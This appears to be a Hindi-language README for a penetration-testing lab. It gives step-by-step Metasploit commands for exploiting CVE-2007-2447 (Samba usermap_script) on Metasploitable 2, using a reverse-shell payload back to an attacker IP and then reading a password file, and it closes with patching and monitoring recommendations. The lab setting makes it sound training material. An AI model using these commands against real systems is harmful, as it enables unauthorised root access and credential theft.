SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

विवरण

कमजोरी का अवलोकन

वातावरण

अनुसरण करने के चरण

1. Metasploit लॉन्च करें:

msfconsole

सुनिश्चित करें कि हमलावर होस्ट और पीड़ित मशीन दोनों बूट और चल रहे हैं।

2. शोषण खोजें:

search samba

3. उपयुक्त मॉड्यूल का उपयोग करें:

use exploit/multi/samba/usermap_script

4. आवश्यक विकल्प सेट करें:

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. शोषण निष्पादित करें:

exploit

6. शोषण-पश्चात कमांड:

whoami
hostname
cd /redteam7/student3
cat mypass.txt

रीसेट निर्देश

Metasploit रीसेट करें:

# वर्तमान शेल छोड़ें
Ctrl C
exit
# सभी बैकग्राउंड जॉब्स को मारें
sessions -K             
jobs -K
# Metasploit पुनः प्रारंभ करें
msfconsole              

मुख्य निष्कर्ष

• usermap_script वाली Samba 3.0.20 जैसी पुरानी सेवाएँ अत्यधिक कमजोर हैं।
• इस SMB कमजोरी का शोषण करने से रूट शेल एक्सेस मिलता है।
• सरल कमांड से महत्वपूर्ण डेटा प्राप्त किया जा सकता है, जो वास्तविक दुनिया के जोखिम को प्रदर्शित करता है।
• यह पैचिंग, विभाजन और सेवा एक्सपोज़र को कम करने की आवश्यकता को साबित करता है।

अनुशंसाएँ

• पुराने सिस्टम को तुरंत पैच या निष्क्रिय करें।
• सख्त नेटवर्क विभाजन और फायरवॉल नियम लागू करें।
• SMB एक्सपोज़र को केवल आंतरिक, प्रमाणित उपयोगकर्ताओं तक सीमित करें।
• संदिग्ध गतिविधि और पार्श्व संचलन के लिए लॉग की निगरानी करें।

संदर्भ

• Metasploit Samba usermap_script
• CVE-2007-2447 विवरण
• Metasploitable 2 शोषण सूची